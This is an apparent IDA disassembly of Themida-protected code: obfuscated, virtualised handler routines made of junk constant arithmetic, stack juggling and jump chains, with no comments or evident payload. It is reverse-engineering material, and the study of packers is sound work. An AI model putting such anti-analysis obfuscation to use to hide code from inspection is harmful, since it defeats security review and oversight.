jmp loc_54906F
; ---------------------------------------------------------------------------
loc_54A192: ; CODE XREF: Themida_:0054D190j
or ecx, ebp
mov ebp, [esp]
add esp, 4
shr ecx, 6
add ecx, 38AC873Eh
xor eax, ecx
pop ecx
sub esp, 4
mov [esp], edi
jmp loc_548CEE
; ---------------------------------------------------------------------------
loc_54A1B4: ; CODE XREF: Themida_:0054EB09j
pop esp
shr eax, 0Eh
xor eax, ecx
push eax
push 3631h
jmp loc_546BB4
; ---------------------------------------------------------------------------
loc_54A1C5: ; CODE XREF: Themida_:0054A499j
push ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
add esp, 4
pop dword ptr [esp]
jmp loc_54E81D
; ---------------------------------------------------------------------------
loc_54A1D9: ; CODE XREF: Themida_:0054E9B5j
mov edi, 27F07D68h
neg edi
or edi, 18153D6h
shr edi, 5
xor edi, 2ABB7C07h
sub edi, 2C770295h
jmp loc_54A205
; ---------------------------------------------------------------------------
loc_54A1FA: ; CODE XREF: Themida_:0054F934j
xchg ebp, [esp]
mov esp, [esp]
jmp loc_549FF1
; ---------------------------------------------------------------------------
loc_54A205: ; CODE XREF: Themida_:0054A1F5j
mov ebx, edi
jmp loc_5447B0
; ---------------------------------------------------------------------------
loc_54A20C: ; CODE XREF: Themida_:0054624Aj
add esi, 258227D9h
add esi, eax
sub esi, 258227D9h
pop eax
add esi, 4
jmp loc_54FA5F
; ---------------------------------------------------------------------------
loc_54A226: ; CODE XREF: Themida_:00546BC2j
push 0C1Fh
mov [esp], ecx
jmp loc_544258
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_544022
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5462A4
; ---------------------------------------------------------------------------
loc_54A244: ; CODE XREF: Themida_:0054FEA5j
mov eax, esp
add eax, 4
jmp loc_54B69F
; ---------------------------------------------------------------------------
loc_54A250: ; CODE XREF: Themida_:005491D9j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_54EA3A
; ---------------------------------------------------------------------------
loc_54A261: ; CODE XREF: Themida_:005479C7j
sub esp, 4
mov [esp], ebx
mov ebx, 4
sub esp, 4
mov [esp], ebx
jmp loc_545DAB
; ---------------------------------------------------------------------------
loc_54A277: ; CODE XREF: Themida_:005488A7j
mov [esp], edi
push 6854485h
pop edi
push eax
push 4F586B81h
pop eax
xor edi, eax
mov eax, [esp]
add esp, 4
mov eax, edi
pop edi
push edx
mov edx, 58557EAAh
jmp loc_54513D
; ---------------------------------------------------------------------------
loc_54A2A0: ; CODE XREF: Themida_:0054D7BDj
xor eax, edx
push dword ptr [esp]
pop edx
add esp, 4
push 1088h
jmp loc_547A98
; ---------------------------------------------------------------------------
loc_54A2B3: ; CODE XREF: Themida_:0054647Fj
shl eax, 4
shl eax, 4
add eax, 1
jmp loc_549E2F
; ---------------------------------------------------------------------------
loc_54A2C1: ; CODE XREF: Themida_:00546755j
mov [esp], ecx
push 4
jmp loc_54658E
; ---------------------------------------------------------------------------
loc_54A2CE: ; CODE XREF: Themida_:0054799Fj
mov [esp], edi
mov edi, 0F787A27Eh
jmp loc_5479CC
; ---------------------------------------------------------------------------
loc_54A2DB: ; CODE XREF: Themida_:0054FFF6j
xor eax, ebx
pop ebx
push ecx
sub esp, 4
mov [esp], edi
mov edi, 70705580h
sub edi, 54B55010h
jmp loc_546BCF
; ---------------------------------------------------------------------------
loc_54A2F8: ; CODE XREF: Themida_:0054EB4Dj
add eax, 4
xchg eax, [esp]
jmp loc_54E833
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_54AF2F
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_54F53D
; ---------------------------------------------------------------------------
loc_54A316: ; CODE XREF: Themida_:0054DB56j
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_547ACF
; ---------------------------------------------------------------------------
loc_54A329: ; CODE XREF: Themida_:00549FCCj
push dword ptr [esp]
pop ebx
add esp, 4
sub [edi+24h], ebp
pop ebp
loc_54A337: ; CODE XREF: Themida_:00544167j
push edx
push 5CFFh
mov [esp], esp
add dword ptr [esp], 4
pop edx
jmp loc_546E50
; ---------------------------------------------------------------------------
loc_54A34D: ; CODE XREF: Themida_:0054EC2Fj
mov [esp], dx
jmp loc_5469CD
; ---------------------------------------------------------------------------
loc_54A356: ; CODE XREF: Themida_:0054F9C4j
push esi
push ebp
mov ebp, 0
mov esi, ebp
pop ebp
sub esi, edi
xchg esi, edi
pop esi
add edi, 0EAD6EC17h
add ebp, edi
jmp loc_549A8B
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_54ED34
; ---------------------------------------------------------------------------
loc_54A37A: ; CODE XREF: Themida_:0054BB7Cj
sub eax, 12FB5929h
jmp loc_54A600
; ---------------------------------------------------------------------------
loc_54A384: ; CODE XREF: Themida_:0054E666j
push edi
mov edi, 7B753511h
push eax
jmp loc_54FE17
; ---------------------------------------------------------------------------
loc_54A390: ; CODE XREF: Themida_:00549A39j
sub esp, 4
jmp loc_544C01
; ---------------------------------------------------------------------------
loc_54A398: ; CODE XREF: Themida_:00548757j
add esp, 4
jmp loc_54AE14
; ---------------------------------------------------------------------------
loc_54A3A3: ; CODE XREF: Themida_:0054AED0j
xor eax, ebx
push ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 4
sub ecx, ebp
pop ebp
xor ecx, [esp]
xor [esp], ecx
jmp loc_54AD5A
; ---------------------------------------------------------------------------
loc_54A3C2: ; CODE XREF: Themida_:0054B22Cj
pop edx
mov bl, ah
mov ax, [esp]
push esi
mov esi, esp
jmp loc_545321
; ---------------------------------------------------------------------------
loc_54A3D1: ; CODE XREF: Themida_:0054AE85j
not ebp
xor edi, ebp
xor ebp, edi
xor edi, ebp
add edi, 57B69547h
sub ebx, edi
pop edi
add ebx, eax
push esi
mov esi, 230E46A8h
add ebx, esi
jmp loc_5490ED
; ---------------------------------------------------------------------------
loc_54A3F1: ; CODE XREF: Themida_:0054AECAj
add ecx, 4
add ecx, 4
jmp loc_5476B3
; ---------------------------------------------------------------------------
loc_54A402: ; CODE XREF: Themida_:0054650Aj
push ebp
mov ebp, esp
jmp loc_5452B6
; ---------------------------------------------------------------------------
loc_54A40A: ; CODE XREF: Themida_:00549233j
mov bl, 0C8h
mov ah, bl
jmp loc_54C86F
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
push 1CA7h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push edi
mov edi, 4
jmp loc_5445F2
; ---------------------------------------------------------------------------
loc_54A430: ; CODE XREF: Themida_:005496D2j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
mov edi, 2
sub eax, 2EA2154h
sub eax, 4F9D0B08h
add eax, edi
add eax, 4F9D0B08h
jmp loc_54AD62
; ---------------------------------------------------------------------------
loc_54A458: ; CODE XREF: Themida_:00544C0Cj
pop esp
sar dword ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54A462: ; CODE XREF: Themida_:0054DE09j
pop esp
add edi, 4
add edi, 2
xchg edi, [esp]
mov esp, [esp]
push ecx
push eax
mov ah, 0B1h
jmp loc_54D585
; ---------------------------------------------------------------------------
loc_54A47E: ; CODE XREF: Themida_:0054A7DCj
add ebx, 5A800E31h
add ebx, ecx
sub ebx, 5A800E31h
sub ebx, 19663C05h
pop ecx
sub ebx, 4
jmp loc_54A1C5
; ---------------------------------------------------------------------------
loc_54A49E: ; CODE XREF: Themida_:00548F51j
sub ebp, 50855D33h
pop edx
push edi
mov edi, 2
add ebp, edi
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_54CD11
; ---------------------------------------------------------------------------
loc_54A4BE: ; CODE XREF: Themida_:0054E805j
sub esi, 0FFFFFFFFh
jmp loc_54BAAF
; ---------------------------------------------------------------------------
loc_54A4C9: ; CODE XREF: Themida_:0054E5D3j
mov ebp, 4
add eax, ebp
pop ebp
push edi
mov edi, 15F2086Eh
shr edi, 5
add edi, 563C0E74h
push ebp
push edi
mov edi, 1C6937D5h
mov ebp, 7354D688h
sub ebp, edi
pop edi
xor edi, ebp
pop ebp
add eax, edi
jmp loc_54C0DD
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
jmp loc_549043
; ---------------------------------------------------------------------------
loc_54A504: ; CODE XREF: Themida_:00548333j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54A509: ; CODE XREF: Themida_:0054F471j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xchg ecx, [esp]
mov esp, [esp]
idiv ecx
push 79Fh
mov [esp], edx
push eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54A52D: ; CODE XREF: Themida_:005498B2j
add dword ptr [esp], 50E45217h
jmp loc_54C4C4
; ---------------------------------------------------------------------------
loc_54A539: ; CODE XREF: Themida_:00548AD6j
pop esp
pop small word ptr [esp]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54A543: ; CODE XREF: Themida_:0054F8E7j
sub eax, 62C274B4h
sub eax, ecx
push edi
mov edi, 0C75254Dh
add edi, 51065C95h
shr edi, 2
and edi, 74CA14F0h
sub edi, 6C8346BDh
or edi, 2EDB1B7Eh
add edi, 0B2E2B8B5h
jmp loc_54E47D
; ---------------------------------------------------------------------------
loc_54A576: ; CODE XREF: Themida_:005471C7j
pop ecx
jmp loc_54AF62
; ---------------------------------------------------------------------------
loc_54A57C: ; CODE XREF: Themida_:00549AE4j
pop esp
add esi, 4
push ebp
push eax
mov eax, 46B85EA1h
shr eax, 6
shr eax, 5
shr eax, 8
jmp loc_54F217
; ---------------------------------------------------------------------------
loc_54A598: ; CODE XREF: Themida_:0054EFF1j
push edx
jmp loc_54B262
; ---------------------------------------------------------------------------
loc_54A59E: ; CODE XREF: Themida_:00544F87j
mov [esp], edx
mov edx, 0E9DA4EC3h
add ecx, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_544964
; ---------------------------------------------------------------------------
loc_54A5B7: ; CODE XREF: Themida_:0054D086j
inc esi
push ebx
mov ebx, 447C796Ah
jmp loc_54847A
; ---------------------------------------------------------------------------
loc_54A5C3: ; CODE XREF: Themida_:0054FD5Cj
pop ebp
sub esp, 4
mov [esp], eax
jmp loc_54E546
; ---------------------------------------------------------------------------
loc_54A5D2: ; CODE XREF: Themida_:00547FAAj
add ecx, esi
jmp loc_54AD9C
; ---------------------------------------------------------------------------
loc_54A5D9: ; CODE XREF: Themida_:0054EAB3j
push edx
mov edx, 0
jmp loc_548C37
; ---------------------------------------------------------------------------
loc_54A5E4: ; CODE XREF: Themida_:00547D82j
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_54EC3D
; ---------------------------------------------------------------------------
loc_54A600: ; CODE XREF: Themida_:0054A37Fj
sub eax, 152B4FE6h
add eax, ebx
add eax, 152B4FE6h
add eax, 12FB5929h
pop ebx
push ebp
mov ebp, 26C1039h
sub ebp, 5E406E2Dh
neg ebp
or ebp, 1B3A4D74h
add ebp, 49442F84h
shr ebp, 3
sub ebp, 14A851ADh
add eax, ebp
jmp loc_546DEE
; ---------------------------------------------------------------------------
loc_54A63C: ; CODE XREF: Themida_:005463E7j
pop eax
jmp loc_5466E6
; ---------------------------------------------------------------------------
loc_54A642: ; CODE XREF: Themida_:00549F99j
push ebp
mov ebp, ecx
jmp loc_548221
; ---------------------------------------------------------------------------
loc_54A64A: ; CODE XREF: Themida_:0054771Dj
mov ecx, 0A726E5Ch
xor ecx, 19187247h
sub ecx, 136A1C17h
add ebx, ecx
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xchg ebx, [esp]
jmp loc_547B56
; ---------------------------------------------------------------------------
loc_54A678: ; CODE XREF: Themida_:0054C1A7j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
idiv cx
push edi
push esp
pop edi
add edi, 4
push esi
jmp loc_548C25
; ---------------------------------------------------------------------------
lodsb
jmp loc_54EC0F
; ---------------------------------------------------------------------------
loc_54A69C: ; CODE XREF: Themida_:0054E580j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_54E518
; ---------------------------------------------------------------------------
loc_54A6AA: ; CODE XREF: Themida_:00548CABj
add edx, 4
xchg edx, [esp]
jmp loc_54523E
; ---------------------------------------------------------------------------
loc_54A6B5: ; CODE XREF: Themida_:0054985Cj
push ecx
mov cl, al
mov dh, cl
jmp loc_5455CF
; ---------------------------------------------------------------------------
loc_54A6BF: ; CODE XREF: Themida_:0054AEC2j
push ecx
mov ecx, 5AAB1460h
sub ecx, 35A12DCFh
xor ecx, 2A6BE172h
add edx, ecx
pop ecx
add edx, ebx
sub edx, 0F6207E3h
sub edx, 2E926B91h
pop ebx
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push dword ptr [edi+eax*4]
push dword ptr [esp]
pop eax
push edx
mov edx, esp
push ebp
jmp loc_54B1E2
; ---------------------------------------------------------------------------
loc_54A6FD: ; CODE XREF: Themida_:0054F15Cj
push ebx
push 7876h
mov [esp], esp
push ebx
mov ebx, 4
add [esp+4], ebx
jmp loc_545FFD
; ---------------------------------------------------------------------------
loc_54A715: ; CODE XREF: Themida_:0054C5FDj
mov al, 0B3h
xor al, 0EFh
and al, 4Ch
neg al
inc al
sub al, 7Bh
mov ch, al
pop eax
push edx
mov dh, 99h
and ch, dh
jmp loc_54EFA7
; ---------------------------------------------------------------------------
loc_54A72E: ; CODE XREF: Themida_:00548047j
mov ch, 0ADh
sub al, 51h
sub al, ch
add al, 51h
pop ecx
add al, 8
mov ch, al
pop eax
jmp loc_54F605
; ---------------------------------------------------------------------------
loc_54A741: ; CODE XREF: Themida_:00547F03j
sub edi, eax
sub edi, 5BE54D9Dh
jmp loc_54F26A
; ---------------------------------------------------------------------------
loc_54A74E: ; CODE XREF: Themida_:0054B224j
add ebp, 4
push edi
mov edi, 4
sub ebp, edi
pop edi
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebx
sub dword ptr [esp], 16C201B2h
pop ebp
push ecx
mov ecx, 16C201B2h
add ebp, ecx
pop ecx
push ebp
pop eax
pop ebp
sub esp, 4
mov [esp], esi
push 1442h
mov [esp], eax
mov eax, 3156069Ah
xor eax, 3D2C0544h
shr eax, 6
shl eax, 2
inc eax
jmp loc_5466B4
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push ebx
mov ebx, 0E8E1E23h
sub ebx, 1
jmp loc_54B40B
; ---------------------------------------------------------------------------
loc_54A7B2: ; CODE XREF: Themida_:00544D21j
xchg esi, [esp]
xchg edx, esi
not edx
xchg edx, esi
xchg esi, [esp]
mov edi, [esp]
jmp loc_54AC85
; ---------------------------------------------------------------------------
loc_54A7C6: ; CODE XREF: Themida_:0054D006j
pop ecx
xor ecx, 2783738Dh
sub esp, 4
mov [esp], ebx
jmp loc_54B9BB
; ---------------------------------------------------------------------------
loc_54A7DB: ; CODE XREF: Themida_:00545B0Dj
pop ecx
jmp loc_54A47E
; ---------------------------------------------------------------------------
loc_54A7E1: ; CODE XREF: Themida_:0054BB2Ej
add ebp, ecx
add ebp, 110F73F3h
pop ecx
sub esp, 4
mov [esp], edi
push ebx
mov ebx, 2
mov edi, ebx
pop ebx
sub ebp, 14273FA1h
jmp loc_54D9E9
; ---------------------------------------------------------------------------
loc_54A804: ; CODE XREF: Themida_:00547600j
pop edi
add esp, 4
add edx, ebx
push dword ptr [esp]
mov ebx, [esp]
jmp loc_54F99C
; ---------------------------------------------------------------------------
loc_54A818: ; CODE XREF: Themida_:0054927Dj
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
push esp
jmp loc_54E0DC
; ---------------------------------------------------------------------------
loc_54A831: ; CODE XREF: Themida_:00544603j
mov ecx, [edx]
mov edx, [esp]
jmp loc_544D09
; ---------------------------------------------------------------------------
loc_54A83B: ; CODE XREF: Themida_:005457EEj
pop ecx
add esp, 4
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_545D89
; ---------------------------------------------------------------------------
loc_54A856: ; CODE XREF: Themida_:0054B4AEj
mov eax, 76DE3256h
jmp loc_546D92
; ---------------------------------------------------------------------------
loc_54A860: ; CODE XREF: Themida_:0054EDB0j
xchg eax, [esp]
pop esp
mov ecx, [esp]
jmp loc_54D446
; ---------------------------------------------------------------------------
mov eax, [esp]
push edi
sub esp, 4
mov [esp], esp
jmp loc_548D0A
; ---------------------------------------------------------------------------
loc_54A87E: ; CODE XREF: Themida_:00545793j
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_54BA40
; ---------------------------------------------------------------------------
loc_54A896: ; CODE XREF: Themida_:0054BC2Ej
push esp
mov esi, [esp]
add esp, 4
sub esp, 4
jmp loc_54D28F
; ---------------------------------------------------------------------------
loc_54A8A8: ; CODE XREF: Themida_:00546897j
and edx, 52EC0951h
jmp loc_549E23
; ---------------------------------------------------------------------------
loc_54A8B3: ; CODE XREF: Themida_:0054DC3Aj
xor [esp], edi
xor edi, [esp]
xor [esp], edi
not edi
xchg edi, [esp]
pop ebx
shr ebx, 5
sub ebx, 1
push 0
sub [esp], ebx
pop ebx
sub ebx, 0E7D810CFh
push eax
mov eax, 20h
add eax, edi
xor [eax], ebx
jmp loc_548DF7
; ---------------------------------------------------------------------------
loc_54A8E6: ; CODE XREF: Themida_:0054699Fj
mov eax, esp
push 0B07h
mov [esp], edi
push ebx
push 675014CDh
pop ebx
jmp loc_54458E
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_54A157
; ---------------------------------------------------------------------------
loc_54A904: ; CODE XREF: Themida_:00546486j
mov dl, [esp+2]
mov [esp+2], bl
pop bx
not dl
xchg dl, [esp]
jmp loc_547DC7
; ---------------------------------------------------------------------------
loc_54A918: ; CODE XREF: Themida_:0054652Cj
add ecx, 0FF828CDh
add ecx, edx
sub ecx, 0FF828CDh
add ecx, 4FE2407Ah
pop edx
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
and eax, ecx
jmp loc_544A2A
; ---------------------------------------------------------------------------
loc_54A948: ; CODE XREF: Themida_:00545AEEj
add esi, 4
xchg esi, [esp]
pop esp
add esp, 4
push ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov [esp], ecx
push edi
push 550F7880h
pop edi
jmp loc_547065
; ---------------------------------------------------------------------------
loc_54A97F: ; CODE XREF: Themida_:0054E04Bj
add esp, 4
push ebx
mov ebx, 4
sub edi, ebx
jmp loc_546B00
; ---------------------------------------------------------------------------
loc_54A98F: ; CODE XREF: Themida_:00547FBBj
add esp, 4
shr eax, 18h
xor eax, ecx
push 6663h
mov [esp], eax
jmp loc_54F371
; ---------------------------------------------------------------------------
loc_54A9A7: ; CODE XREF: Themida_:005466EFj
pop eax
mov dl, cl
pop ecx
pop ebx
and al, dl
mov dx, [esp]
jmp loc_54C348
; ---------------------------------------------------------------------------
loc_54A9B7: ; CODE XREF: Themida_:00548506j
push edi
jmp loc_54C724
; ---------------------------------------------------------------------------
loc_54A9BD: ; CODE XREF: Themida_:0054AAF5j
mov esp, [esp]
inc dword ptr [esp]
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54A9C9: ; CODE XREF: Themida_:0054CB36j
xchg eax, [esp]
pop esp
jmp loc_545109
; ---------------------------------------------------------------------------
loc_54A9D2: ; CODE XREF: Themida_:00546F90j
add ebp, 2
xchg ebp, [esp]
pop esp
push small 3644h
mov [esp], bx
mov bl, 58h
sub al, 0BFh
add al, 8Dh
add al, bl
sub al, 8Dh
push cx
mov ch, 0BFh
add al, ch
pop cx
mov bx, [esp]
jmp loc_547708
; ---------------------------------------------------------------------------
loc_54A9FF: ; CODE XREF: Themida_:00548CEFj
push esi
mov esi, 75F7373Ah
push esi
sub dword ptr [esp], 2BE2308Dh
pop eax
add eax, 2BE2308Dh
pop esi
push ebp
mov ebp, 42A8015Ah
not ebp
shl ebp, 8
push ecx
jmp loc_5443B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_54AA25: ; CODE XREF: sub_545BCC+39EBj
add dl, bh
add dl, 3Fh
mov ebx, [esp+0]
add esp, 4
sub al, 88h
add al, dl
add al, 88h
mov dx, word ptr [esp+2+var_4+2]
add esp, 2
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_54D9D7
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_54AA54: ; CODE XREF: Themida_:0054DE1Bj
xor eax, ecx
jmp loc_54C0FC
; ---------------------------------------------------------------------------
loc_54AA5B: ; CODE XREF: Themida_:00547AF3j
xchg esi, [esp]
jmp loc_54CE6E
; ---------------------------------------------------------------------------
loc_54AA63: ; CODE XREF: Themida_:00548291j
mov edx, esp
jmp loc_548036
; ---------------------------------------------------------------------------
loc_54AA6A: ; CODE XREF: Themida_:00548C58j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov ax, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
sub esp, 4
mov [esp], ebx
push edx
jmp loc_548A52
; ---------------------------------------------------------------------------
loc_54AA94: ; CODE XREF: Themida_:0054E750j
mov [esp], ebp
sub esp, 4
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
pop edi
pop ebp
add ebp, 4
sub esp, 4
mov [esp], eax
jmp loc_54E344
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_549277
; ---------------------------------------------------------------------------
loc_54AAC9: ; CODE XREF: Themida_:00546499j
add esi, 34BDF79Dh
sub eax, esi
pop esi
push ecx
mov ecx, 53784C09h
add ecx, 2CFF587Eh
add ecx, 423F4D61h
jmp loc_547AA5
; ---------------------------------------------------------------------------
loc_54AAE9: ; CODE XREF: Themida_:00546650j
mov [esp], cx
jmp loc_549374
; ---------------------------------------------------------------------------
loc_54AAF2: ; CODE XREF: Themida_:0054B2B5j
pop dword ptr [esp]
jmp loc_54A9BD
; ---------------------------------------------------------------------------
loc_54AAFA: ; CODE XREF: Themida_:0054C472j
mov ecx, 0BCC3799h
jmp loc_545F0E
; ---------------------------------------------------------------------------
loc_54AB04: ; CODE XREF: Themida_:0054D42Fj
push esi
jmp loc_5446A0
; ---------------------------------------------------------------------------
loc_54AB0A: ; CODE XREF: Themida_:0054FC5Ej
mov [esp], eax
jmp loc_545FE4
; ---------------------------------------------------------------------------
loc_54AB12: ; CODE XREF: Themida_:00548236j
mov edi, [esp]
push esi
mov esi, esp
push ebp
mov ebp, 4
add esi, 11D24C00h
add esi, ebp
jmp loc_54F643
; ---------------------------------------------------------------------------
loc_54AB2B: ; CODE XREF: Themida_:0054BE57j
mov ebx, 6A5A7C8Ch
dec ebx
sub ebx, 20BA58A6h
add eax, ebx
jmp loc_54D9C2
; ---------------------------------------------------------------------------
loc_54AB3E: ; CODE XREF: Themida_:0054D3DCj
shl edi, 4
push ecx
mov ecx, 57801858h
add ecx, 9A6CCB75h
sub edi, 2A1E09AAh
add edi, ecx
add edi, 2A1E09AAh
pop ecx
add eax, 7AB842B6h
add eax, edi
sub eax, 7AB842B6h
push dword ptr [esp]
mov edi, [esp]
push ebp
mov ebp, esp
push edx
mov edx, 3D7C7265h
or edx, 5C315FD2h
jmp loc_54FEB6
; ---------------------------------------------------------------------------
loc_54AB82: ; CODE XREF: Themida_:0054B0CFj
xchg ecx, edx
jmp loc_546896
; ---------------------------------------------------------------------------
loc_54AB89: ; CODE XREF: Themida_:0054C6A7j
push eax
mov eax, 4
add [esp+4], eax
pop eax
mov edi, [esp]
jmp loc_54F1A9
; ---------------------------------------------------------------------------
loc_54AB9C: ; CODE XREF: Themida_:0054D353j
add ecx, 4
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], ebx
jmp loc_549E94
; ---------------------------------------------------------------------------
loc_54ABB9: ; CODE XREF: Themida_:00545902j
mov edi, 79AC4E76h
jmp loc_54E265
; ---------------------------------------------------------------------------
loc_54ABC3: ; CODE XREF: Themida_:005498DCj
neg dl
shr dl, 5
jmp loc_54421A
; ---------------------------------------------------------------------------
loc_54ABCD: ; CODE XREF: Themida_:0054540Aj
push 4218164Fh
jmp loc_547E34
; ---------------------------------------------------------------------------
loc_54ABD7: ; CODE XREF: Themida_:0054DE61j
shl esi, 3
push edi
mov edi, 7E791A6Ch
xor edi, 1B5D6650h
jmp loc_54D270
; ---------------------------------------------------------------------------
loc_54ABEB: ; CODE XREF: Themida_:0054E4FAj
add edi, 18CC3C39h
jmp loc_5449A8
; ---------------------------------------------------------------------------
loc_54ABF6: ; CODE XREF: Themida_:0054F750j
push dword ptr [esp+4]
mov esi, [esp]
jmp loc_5444B4
; ---------------------------------------------------------------------------
loc_54AC02: ; CODE XREF: Themida_:0054A152j
xchg esi, [esp]
pop esp
mov [esp], eax
push edx
mov edx, 4BDB07E8h
mov eax, 4BDB07ECh
xor eax, edx
pop edx
push ebx
mov ebx, 1DB059C2h
sub ebx, 116A07F2h
add edx, ebx
jmp loc_548516
; ---------------------------------------------------------------------------
loc_54AC2A: ; CODE XREF: Themida_:0054530Bj
sub edi, 0AE8C965Ch
mov eax, edi
jmp loc_545B12
; ---------------------------------------------------------------------------
loc_54AC37: ; CODE XREF: Themida_:0054F717j
push 0
add byte ptr [esp], 0C9h
sub [esp], dl
sub byte ptr [esp], 0C9h
mov dl, [esp]
add esp, 4
dec dl
not dl
sub dl, 54h
xor al, dl
push dword ptr [esp]
jmp loc_54B090
; ---------------------------------------------------------------------------
loc_54AC5E: ; CODE XREF: Themida_:00549CACj
mov ecx, 1F124DECh
not ecx
xor ecx, 0A831C02h
jmp loc_54E22A
; ---------------------------------------------------------------------------
loc_54AC70: ; CODE XREF: Themida_:0054838Bj
xor eax, 0E0255D2h
add eax, 6FB5280h
push edi
mov edi, 2EBAF05Fh
jmp loc_5471B9
; ---------------------------------------------------------------------------
loc_54AC85: ; CODE XREF: Themida_:0054A7C1j
add esp, 4
shl edi, 7
shl edi, 6
not edi
jmp loc_54675A
; ---------------------------------------------------------------------------
loc_54AC98: ; CODE XREF: Themida_:005488CEj
push dx
mov dl, 1Bh
sub cl, dl
mov dx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 2
xchg edi, [esp]
pop esp
push small 8F2h
mov [esp], bx
push edx
mov dl, 0B2h
shl dl, 8
xor dl, 61h
shl dl, 5
push eax
mov al, 0D1h
add dl, al
pop eax
mov bl, dl
jmp loc_544CE2
; ---------------------------------------------------------------------------
loc_54ACD6: ; CODE XREF: Themida_:0054D6B1j
push dword ptr [esp]
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
add esp, 4
or eax, eax
jz loc_54CCFF
push eax
sub esp, 4
jmp loc_54570C
; ---------------------------------------------------------------------------
loc_54ACFF: ; CODE XREF: Themida_:00547A27j
push dword ptr [esp]
jmp loc_54887C
; ---------------------------------------------------------------------------
loc_54AD07: ; CODE XREF: Themida_:005470E6j
add ecx, 122D708Ah
pop ebp
jmp loc_54667D
; ---------------------------------------------------------------------------
loc_54AD13: ; CODE XREF: Themida_:0054CE0Cj
pop esi
sub ecx, 439A5ED6h
sub ecx, edi
jmp loc_54D66E
; ---------------------------------------------------------------------------
loc_54AD21: ; CODE XREF: Themida_:00544050j
mov [esp], esp
jmp loc_54B86A
; ---------------------------------------------------------------------------
loc_54AD29: ; CODE XREF: Themida_:005473F8j
mov [esp], edi
mov edi, 4
mov edx, edi
pop edi
jmp loc_5500A5
; ---------------------------------------------------------------------------
loc_54AD39: ; CODE XREF: Themida_:00545EABj
add esi, eax
pop eax
jmp loc_5478F8
; ---------------------------------------------------------------------------
loc_54AD41: ; CODE XREF: Themida_:005448FEj
push 52FFh
mov [esp], ebx
push ecx
jmp loc_54D833
; ---------------------------------------------------------------------------
loc_54AD4F: ; CODE XREF: Themida_:0054DFFCj
mov esp, [esp]
mov [esp], eax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54AD5A: ; CODE XREF: Themida_:0054A3BDj
xor ecx, [esp]
jmp loc_544ED6
; ---------------------------------------------------------------------------
loc_54AD62: ; CODE XREF: Themida_:0054A453j
push ebp
push eax
mov eax, 61544BE2h
xor eax, 2FA622D5h
shl eax, 8
xor eax, 0BF8F2628h
mov ebp, eax
pop eax
not ebp
and ebp, 7A6425Dh
xor ebp, 14FA60DAh
add ebp, 0EBEFFEC5h
add eax, ebp
pop ebp
pop edi
xor eax, [esp]
xor [esp], eax
jmp loc_545F1C
; ---------------------------------------------------------------------------
loc_54AD9C: ; CODE XREF: Themida_:0054A5D4j
add ecx, 1CAC76E1h
mov esi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add ecx, 2
xor ecx, [esp]
xor [esp], ecx
jmp loc_546B2D
; ---------------------------------------------------------------------------
loc_54ADC6: ; CODE XREF: Themida_:0054B40Cj
mov ecx, 6A729B0h
push ebx
jmp loc_54411E
; ---------------------------------------------------------------------------
loc_54ADD1: ; CODE XREF: Themida_:0054BEF2j
push edx
sub esp, 4
jmp loc_54DF6C
; ---------------------------------------------------------------------------
loc_54ADDA: ; CODE XREF: Themida_:00548CDFj
shl eax, 3
xor eax, 2385FF4Ah
jmp loc_5480DE
; ---------------------------------------------------------------------------
loc_54ADE7: ; CODE XREF: Themida_:00544A56j
add bl, ch
jmp loc_54CEC2
; ---------------------------------------------------------------------------
